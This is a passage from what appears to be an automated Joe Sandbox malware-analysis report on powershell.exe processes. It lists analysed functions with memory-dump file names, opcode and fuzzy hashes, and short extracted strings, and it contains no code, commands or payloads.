Instruction Fuzzy Hash: 6B312CF0B0575EDFCBA08FA5C840A6A7BE2BF45610F1482A5DB04DB711C735D984C761

Function 04167380 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2035085357.0000000004160000.00000040.00000800.00020000.00000000.sdmp, Offset: 04160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e234d4d14ae4bc28dd95ccd495f6d147653dd9b80399bd8ef02f9aadb79a3a7
Instruction ID: 4969ea2382890b5f08bf75a28bbb4f147ccfcc86621b66d8a4f4879e56675b0f
Opcode Fuzzy Hash: 5e234d4d14ae4bc28dd95ccd495f6d147653dd9b80399bd8ef02f9aadb79a3a7
Instruction Fuzzy Hash: 9CC1E434A042548FCB05DF69C8989AEBBF1FF89304F1580A9E815AB3A1D735ED55CBA0

Function 04168328 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2035085357.0000000004160000.00000040.00000800.00020000.00000000.sdmp, Offset: 04160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee349f3d318d202c15776518b54031183e4ba04b0f591b2752a444f6edf902e
Instruction ID: 894cca61abdaa2f2a4811441555d2257f963c242be88804803d8ff41a4902476
Opcode Fuzzy Hash: 2ee349f3d318d202c15776518b54031183e4ba04b0f591b2752a444f6edf902e
Instruction Fuzzy Hash: 49816B34A062549FCB05DF68C4C4AADBBB1FF49320F15819AE856EB352D730E986CB91

Function 04168E1C Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2035085357.0000000004160000.00000040.00000800.00020000.00000000.sdmp, Offset: 04160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7cfe757ed957439795ce2f3c3ae734033c725faec1a80023410f6527a11f719
Instruction ID: f9547d717a31a5706fd8ae811d818316b7b367933f16153a169695c6d26b38fa
Opcode Fuzzy Hash: f7cfe757ed957439795ce2f3c3ae734033c725faec1a80023410f6527a11f719
Instruction Fuzzy Hash: 7441AF34A12244DFCB14DFB4C8818ADB7B2FF49210B1584A9E442AB362DB35ED86DB10

Function 00C5D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2034526567.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dabe5cc5a1c3dc3e2fed408fc450edfb934dbb511da7a030935a95f5a126251
Instruction ID: 712d96edb6d9e97d8281d843aaa6162cf7ea591b74fdb028b0bbd0658954c48a
Opcode Fuzzy Hash: 3dabe5cc5a1c3dc3e2fed408fc450edfb934dbb511da7a030935a95f5a126251
Instruction Fuzzy Hash: AA01406100E3C05FD7128B258894752BFB8DF53225F1DC5DBD9988F1E7C2695889C772

Function 00C5D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2034526567.0000000000C5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_c5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2bba3d477a1afe819e890d5777c47c33ecfad176de0ab235027819a05a3040
Instruction ID: 5566a818bf90d3e8cd0f6e38be5ce6af212cb36902d268488a8b3c0849796adc
Opcode Fuzzy Hash: bf2bba3d477a1afe819e890d5777c47c33ecfad176de0ab235027819a05a3040
Instruction Fuzzy Hash: 8D012B750083009AE7304A26CDC4767FF98DF81336F18C429ED1A4B2C6C679D9C9C6B5

Function 04167170 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2035085357.0000000004160000.00000040.00000800.00020000.00000000.sdmp, Offset: 04160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47bb718dd287a7377811cb97101b624c0b4a67ca41f6e32d9633252d228464cb
Instruction ID: fe2d3ca00c00e94f9d147069ca4307c8807837888a6bb6f0c9f53f619be94812
Opcode Fuzzy Hash: 47bb718dd287a7377811cb97101b624c0b4a67ca41f6e32d9633252d228464cb
Instruction Fuzzy Hash: 24011974E0120A9FCB40DF68C8859AABBF5FF49214F605199E519DB321E730AA46CFE1

Function 04162D76 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2035085357.0000000004160000.00000040.00000800.00020000.00000000.sdmp, Offset: 04160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1251e45340482f4b147fcb1d2cfb72a5f108a1dad36b6bd0ae83ce3691f057e3
Instruction ID: 1855e574b71ce7a1a39ff061ee922b2126c4b298b6fd35ede49c9344c787712d
Opcode Fuzzy Hash: 1251e45340482f4b147fcb1d2cfb72a5f108a1dad36b6bd0ae83ce3691f057e3
Instruction Fuzzy Hash: 05F0DA75A001059FCB15CF9DD990AEEF7B1FF88324F208199E515A72A1C736EC52CB50

Function 04167180 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2035085357.0000000004160000.00000040.00000800.00020000.00000000.sdmp, Offset: 04160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_4160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5399871af20fe88cb77282a47a18778dadd32fcd029f1f0cde6c0979e91c2592
Instruction ID: 52be1724247f6d8c3b724c5a77c26b0f84852fa2785a1cbce2d9b51b01567b49
Opcode Fuzzy Hash: 5399871af20fe88cb77282a47a18778dadd32fcd029f1f0cde6c0979e91c2592
Instruction Fuzzy Hash: F1F09774E0020A8FC780DF68C485AAEBBF0FF49214F5041A9D509DB321E730A955CB91

Non-executed Functions

Function 070F02DC Relevance: 7.6, Strings: 6, Instructions: 77COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070F034F
$^q, xrefs: 070F03B6
4'^q, xrefs: 070F03CB
4'^q, xrefs: 070F03D7
$^q, xrefs: 070F03AA
4'^q, xrefs: 070F0343

Memory Dump Source

Source File: 00000018.00000002.2083365493.00000000070F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_70f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$$^q$$^q
API String ID: 0-1041444323
Opcode ID: 66ba4b1b9fa871b36beed9d89174101de52d516777189c7cac76ee6e218c06d5
Instruction ID: 6698e20e049a0619f8226fce6ff99db4a0d4bd83e1fdc61c3352fb2f598ada27
Opcode Fuzzy Hash: 66ba4b1b9fa871b36beed9d89174101de52d516777189c7cac76ee6e218c06d5
Instruction Fuzzy Hash: 3A118C71B093564FC319063C29200BEABEB5FC1960329079BC190DF79BDE658D8E8383

Function 070F07F8 Relevance: 6.5, Strings: 5, Instructions: 201COMMON

Download Yara Rule

Strings

)l, xrefs: 070F092B
$^q, xrefs: 070F087F
$^q, xrefs: 070F084F
)l, xrefs: 070F091D
$^q, xrefs: 070F0873

Memory Dump Source

Source File: 00000018.00000002.2083365493.00000000070F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_70f0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$)l$)l
API String ID: 0-2977067623
Opcode ID: f206a6a99850a1d9a64d49ef95aa971a858bf014d3f160ff4be1d52ef15fb8c5
Instruction ID: 5b9c537823b2110ad68a0f5dd7c6df95fefa1c0eecbe728b4f31a5eb47808e32
Opcode Fuzzy Hash: f206a6a99850a1d9a64d49ef95aa971a858bf014d3f160ff4be1d52ef15fb8c5
Instruction Fuzzy Hash: C9518CB2B042568FD7155A79980067BFFE5EFC2210F18857FD695CB683EA32C806C7A0

Function 070F125C Relevance: 6.4, Strings: 5, Instructions: 105COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070F130D
$^q, xrefs: 070F1400
$^q, xrefs: 070F12BD
tP^q, xrefs: 070F135F
4'^q, xrefs: 070F1435

Memory Dump Source

Source File: 00000018.00000002.2083365493.00000000070F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_70f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$$^q$$^q
API String ID: 0-1449624226
Opcode ID: 6080071f6b49926d2dda6a762554addd667ad9643edb365b1b06c24715d03831
Instruction ID: c028defd1bd03ac0b23352b6a4af7388e858af976aa69e7aae285dfd7d19011c
Opcode Fuzzy Hash: 6080071f6b49926d2dda6a762554addd667ad9643edb365b1b06c24715d03831
Instruction Fuzzy Hash: 383107B1E0020DDBDB64CF44C444B69B7F2AF85720F14C255EA255FA55D772E841CB91

Function 070F1260 Relevance: 6.4, Strings: 5, Instructions: 105COMMON

Download Yara Rule

Strings

4'^q, xrefs: 070F130D
$^q, xrefs: 070F1400
$^q, xrefs: 070F12BD
tP^q, xrefs: 070F135F
4'^q, xrefs: 070F1435

Memory Dump Source

Source File: 00000018.00000002.2083365493.00000000070F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_70f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$$^q$$^q
API String ID: 0-1449624226
Opcode ID: 0c81c2ec1841eb6abbe97e6cd9884c266cdc231ac4b34d241b70c45388f9f64f
Instruction ID: 18595b239ebf2bc72266c24e38c6d598435b51034cb8e3a6e1358a38be5bd71f
Opcode Fuzzy Hash: 0c81c2ec1841eb6abbe97e6cd9884c266cdc231ac4b34d241b70c45388f9f64f
Instruction Fuzzy Hash: 4B3105B1E0020EDBDB64CF44C444B69B7F2AF85720F18C256EA259FA95D772E881CB91

Analysis Process: powershell.exePID: 1020, Parent PID: 7068COMMON

Executed Functions

Function 0497CFA0 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e5cdc5c24001eba605ac2f7a823ebc262431bf0a15b277695dbf2d333e50c40
Instruction ID: 219530531f586661a00e177ab33455477754c4532a919c718365ccde53644fe5
Opcode Fuzzy Hash: 8e5cdc5c24001eba605ac2f7a823ebc262431bf0a15b277695dbf2d333e50c40
Instruction Fuzzy Hash: 2D914371F006155BEB1ADFB484145AEBBE3EFC4714B00892DD10AAB344DF74AD068BD6

Function 0497CFB0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08bcbd3044646c55ef95d2b66f51b354e72603082dd438d697c06d65f78cbf6
Instruction ID: f324f1f8861770ac9e189bd303e1b5be6b369443e57fccec9b93f4cacf342dc9
Opcode Fuzzy Hash: c08bcbd3044646c55ef95d2b66f51b354e72603082dd438d697c06d65f78cbf6
Instruction Fuzzy Hash: FC912371F006255BEB19EFB484145AEB7E3EFC4714B10892DD10AAB344DF74AD068BD6

Function 07803178 Relevance: 23.3, Strings: 18, Instructions: 821COMMON

Download Yara Rule

Strings

J4l, xrefs: 078035EE
J4l, xrefs: 07803596
J4l, xrefs: 07803235
J4l, xrefs: 07803241
r3l, xrefs: 07803551
<c&k, xrefs: 078033CB
J4l, xrefs: 078033E5
)l, xrefs: 07803482
J4l, xrefs: 078033D9
J4l, xrefs: 078035E2
J4l, xrefs: 0780339F
4'^q, xrefs: 07803611
4'^q, xrefs: 078033FB
)l, xrefs: 07803474
4'^q, xrefs: 07803407
r3l, xrefs: 07803547
4'^q, xrefs: 07803605
J4l, xrefs: 078031EF

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c&k$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$r3l$r3l$)l$)l
API String ID: 0-2108128534
Opcode ID: e86ad8057edbc0b87c6cfb9c698622ee3b2b8ec4ce8f8518c1403e9b8889accd
Instruction ID: 73be0f47cdcee4f275952852401875b4c12b8491c05575208768fc93821a3a2a
Opcode Fuzzy Hash: e86ad8057edbc0b87c6cfb9c698622ee3b2b8ec4ce8f8518c1403e9b8889accd
Instruction Fuzzy Hash: BA5266B5B0020A9FDB508F69DC4566ABBF6EF96310F14807EE505CBA91DB32C845CBE1

Function 07802538 Relevance: 20.6, Strings: 16, Instructions: 564COMMON

Download Yara Rule

Strings

r3l, xrefs: 078025B5
$^q, xrefs: 078029CF
tP^q, xrefs: 07802A20
$^q, xrefs: 078029B0
$^q, xrefs: 07802994
4'^q, xrefs: 078025DE
4'^q, xrefs: 07802776
L3l, xrefs: 0780284A
$^q, xrefs: 078029DB
$^q, xrefs: 07802978
<-%k, xrefs: 0780273B
tP^q, xrefs: 07802A14
4'^q, xrefs: 0780276A
$^q, xrefs: 078029BC
r3l, xrefs: 078025AB
4'^q, xrefs: 078025EA

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<-%k$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L3l$r3l$r3l
API String ID: 0-2175746473
Opcode ID: 84d8f1c9dda9e613e176f138206f8b33fc6650d4653d44d76a25f58ff31b4b98
Instruction ID: 4a3a3650063f61a8e00f58eb3b8eb55616e8a594fc61775d24e3ea2cbc00abdb
Opcode Fuzzy Hash: 84d8f1c9dda9e613e176f138206f8b33fc6650d4653d44d76a25f58ff31b4b98
Instruction Fuzzy Hash: EC0276B1B0421A8FCB688F68DC18A6ABBF1BF95220F1484BBD405CB391DB71C845C7E1

Function 07803EC0 Relevance: 15.5, Strings: 12, Instructions: 532COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07804020
tP^q, xrefs: 07804068
841l, xrefs: 07803FFB
4'^q, xrefs: 078040D1
4'^q, xrefs: 078040E1
(o^q, xrefs: 078041DF
U, xrefs: 078044AD
4'^q, xrefs: 07804014
tP^q, xrefs: 07804074
841l, xrefs: 07804005
(o^q, xrefs: 078041D3
0U^q, xrefs: 078044C5

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$0U^q$4'^q$4'^q$4'^q$4'^q$841l$841l$U$tP^q$tP^q
API String ID: 0-2698434620
Opcode ID: a97607eddb02fa4d484b15c818f5296ad6358e99290f520a06f82c2a68587556
Instruction ID: f5bae4720edcb746f76697bd62ad7d3cba635dfc5b4b2aa2bef272b674aaf965
Opcode Fuzzy Hash: a97607eddb02fa4d484b15c818f5296ad6358e99290f520a06f82c2a68587556
Instruction Fuzzy Hash: C41219B0B402499FCB54DF68C844A6ABBF2AF96310F158469DA09DF395DB31DC81CBE1

Function 04973B58 Relevance: 1.6, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

W, xrefs: 04973C15

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: a50f361e534f3274cf667a25d1d567db6f1734b7857994bc6d3ba83cfec880bc
Instruction ID: f38cbf62e9f9950b91bf2e1a3a57d030380dacddafa5972cb1b60ff3e45b096b
Opcode Fuzzy Hash: a50f361e534f3274cf667a25d1d567db6f1734b7857994bc6d3ba83cfec880bc
Instruction Fuzzy Hash: 63D11734A01219EFDB15DF98D584A9DFBB2FF88310F298569E804AB365C731ED81DB90

Function 04978C60 Relevance: 1.5, Strings: 1, Instructions: 229COMMON

Download Yara Rule

Strings

(bq, xrefs: 04978D85

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 73d2760c08bcb58b5bb7f2147288814e3694b838fd5987c98606b9457603ee6d
Instruction ID: 054ca7e23adf810012f41e4e97f41d2319c6f05b7e8068b6a9a6d1c84e9c0d77
Opcode Fuzzy Hash: 73d2760c08bcb58b5bb7f2147288814e3694b838fd5987c98606b9457603ee6d
Instruction Fuzzy Hash: 26811834B002058FDB14EF69C458AAABBF6EF8D315F1554A9E406EB3A5DB34EC01CB64

Function 0497CAB8 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&^q, xrefs: 0497CADA

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: 7037616168c211ca0bff422413a673564a386bcacc6290d748a33749a9743c2d
Instruction ID: 2c4e7ac9205b90dc89e9edfa6574ea0da06642ae2f617241bc12bad47e75bbfc
Opcode Fuzzy Hash: 7037616168c211ca0bff422413a673564a386bcacc6290d748a33749a9743c2d
Instruction Fuzzy Hash: 5A21AE71A003588FCB14DFAED8046AEBFF5EB89320F24846AD409A7340DB75A805CFA5

Function 0497AF0F Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

U, xrefs: 0497AF1D

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 1694c9c5d9f459451f2f41f951e36b1d975d3e5766b451503563b18dba42291e
Instruction ID: 2d649a42510882ab3255b67f2b0f52457418f50b94fd46ee0f7fd41627ee316e
Opcode Fuzzy Hash: 1694c9c5d9f459451f2f41f951e36b1d975d3e5766b451503563b18dba42291e
Instruction Fuzzy Hash: 9A31BCB0A067848EDB60DF2AD4883DAFFF6EF89314F28C46DD85D9B205C6746484CB61

Function 07802830 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

L3l, xrefs: 0780284A

Memory Dump Source

Source File: 0000001C.00000002.2189821792.0000000007800000.00000040.00000800.00020000.00000000.sdmp, Offset: 07800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7800000_powershell.jbxd

Similarity

API ID:
String ID: L3l
API String ID: 0-3803200913
Opcode ID: a4cb6b011a8745f4a75b64ba3c006967206cd931b3bb0dfa81d290567f28ad26
Instruction ID: 3567c4dcd1752c616c64d9f7f80ba0e7129f7620d3e1029abd34843fe7662bdd
Opcode Fuzzy Hash: a4cb6b011a8745f4a75b64ba3c006967206cd931b3bb0dfa81d290567f28ad26
Instruction Fuzzy Hash: A61186B9600215AFD7588E55CC45F6AB7A5FB94324F04C16AE518CB2D1C7B2DC41CBA0

Function 0497ABF8 Relevance: 1.3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

Strings

U, xrefs: 0497AC05

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 17efcad4ad784902ca503d8c4f6a0b7fd90aebbea76a569fcff99b5f57d989d6
Instruction ID: a2e0aa0d6949ec40e5fe5a917c574795279359bde0b13ad516098b0c5e9430dc
Opcode Fuzzy Hash: 17efcad4ad784902ca503d8c4f6a0b7fd90aebbea76a569fcff99b5f57d989d6
Instruction Fuzzy Hash: 91F022306082501BE3125B64C4243DB7FA6DBC2368F1541B9C8088B396CE3D1C06CBE1

Function 0497A489 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

U, xrefs: 0497A495

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 9dbd4ec11ed9f1f2e791c79b27d271d32eebabb2d7a23a21220be64c46fb8c7b
Instruction ID: 5a97ec1fe86a9b81fc293db31c40a294a324c64a618b9d139af0bd3389285f38
Opcode Fuzzy Hash: 9dbd4ec11ed9f1f2e791c79b27d271d32eebabb2d7a23a21220be64c46fb8c7b
Instruction Fuzzy Hash: D1F0A731308A9047C7062774942C2DE7F65DFC5716F05007AD44987243CE690806C7E9

Function 0497A257 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

U, xrefs: 0497A265

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: b58fa872a7d8bae2035f90efb06111c77d8a919dfc9c4dacbc7a69434cbde0d9
Instruction ID: a2fb8a44dcee36c1128a176d9a0bb53c4bbaa836d670d641068c45889c7aefc3
Opcode Fuzzy Hash: b58fa872a7d8bae2035f90efb06111c77d8a919dfc9c4dacbc7a69434cbde0d9
Instruction Fuzzy Hash: 9BE012309042898BCB16EFE4D4590FCBF30EB05615B4554BDD946571A2EB300A55CBC1

Function 04977AC0 Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d377b8f468765e721d2ff62541aba33808d9e8c9aa132150bca569e82f88c90
Instruction ID: 1fa148cac0f098a95c934360158a5e62d82107c4162b158be25005a695b73208
Opcode Fuzzy Hash: 7d377b8f468765e721d2ff62541aba33808d9e8c9aa132150bca569e82f88c90
Instruction Fuzzy Hash: D9122A74A002099FCB15CFA8D584AAEBBF6FF88310F2585A9E415AB365D731FD41CB90

Function 04972B60 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6541c787c829331ea998a4a1095d0901f4ca9881981e2cce2b746a51174df6a8
Instruction ID: 89f93b9d0166f702eb98abf347db6f92d579dd91146adcd5048f323a1a66d166
Opcode Fuzzy Hash: 6541c787c829331ea998a4a1095d0901f4ca9881981e2cce2b746a51174df6a8
Instruction Fuzzy Hash: 00A19C74A006059FCB15CF59C4949AEFBB2FF88310B2485A9E915AB3A5C731FC51CFA0

Function 0497D5E0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85a38a0cfaf7be70571a4de4637dcda08fa67c3884cd786b8f06dfdea8964a5d
Instruction ID: fc3e8fabce700da6a6a0fc85a78d6c420f48cf574e99bd3c06e57182ae2e9dbc
Opcode Fuzzy Hash: 85a38a0cfaf7be70571a4de4637dcda08fa67c3884cd786b8f06dfdea8964a5d
Instruction Fuzzy Hash: 77612B75E002489FDB14DFA9D584A9DFBF6EF88310F148169E809AB354EB74AC45CF60

Function 0497D5D4 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 095f66b54c618cf68c9ba7fdd570971863fdccae7edb9ef68a4fe3d025cc4260
Instruction ID: 589a8db62458aca81f9c2c3238abb490e54a3f2880b3ec879bb50fb4f08b9a50
Opcode Fuzzy Hash: 095f66b54c618cf68c9ba7fdd570971863fdccae7edb9ef68a4fe3d025cc4260
Instruction Fuzzy Hash: 2A512B75E00248DFDB14DFA9D584A9DFBF6EF88310F148169E809AB364DB74A845CF60

Function 04977ECF Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b22c07e0e4f001545836618c31c116466932c8d6dfa039faa949142c79d8d0
Instruction ID: 555e0341d8bfb4d31fd38493f521988a3d4552fa4cdd6df42f72e297fb10ade9
Opcode Fuzzy Hash: 85b22c07e0e4f001545836618c31c116466932c8d6dfa039faa949142c79d8d0
Instruction Fuzzy Hash: 5E51D434A00209EFDB05DFA8D584A9DFBB2EF88314F248559E814AB365C771ED86CF90

Function 04973E29 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12228d16e76f3e9ea15dc52e9d385b1128d735d045be7804743250b77d6eeddc
Instruction ID: b7ca69909a247bf9948a10bf000c1f0cdd0a897d9577e9c991d1baf63106c66a
Opcode Fuzzy Hash: 12228d16e76f3e9ea15dc52e9d385b1128d735d045be7804743250b77d6eeddc
Instruction Fuzzy Hash: 4B41D434A00209EFDB15DFA8D584A9DFBB2FF88314F248559E805AB365C771AD82CF90

Function 04972C70 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3fd4bec6527cb0edb7cd4424c42207fa6802a592486a6db451caaad04ff777c
Instruction ID: 0aaf8f2bd09227d3b1d932d2b88588e7f741fb7d6fd59d770c9533170f382a19
Opcode Fuzzy Hash: a3fd4bec6527cb0edb7cd4424c42207fa6802a592486a6db451caaad04ff777c
Instruction Fuzzy Hash: 324127B4A006059FCB05CF58C5949AEFBB1FF48310B2585A9D905AB3A4C736FC90CFA0

Function 0497DEA8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.2134436134.0000000004970000.00000040.00000800.00020000.00000000.sdmp, Offset: 04970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_4970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c809f8bbd284fd62b436d72faeab4c4dcb8d281f820ff095b6d0c641dffed5
Instruction ID: 87f7317b433d943f19baac764458b9c96d92ea7dbf314b69dff5daed714bacd2
Opcode Fuzzy Hash: 77c809f8bbd284fd62b436d72faeab4c4dcb8d281f820ff095b6d0c641dffed5
Instruction Fuzzy Hash: CB3178313002009FD715EB79E894B9ABBA7EFC4355F004639E60ACB365DFB1AC458BA0

Function 04973B33 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

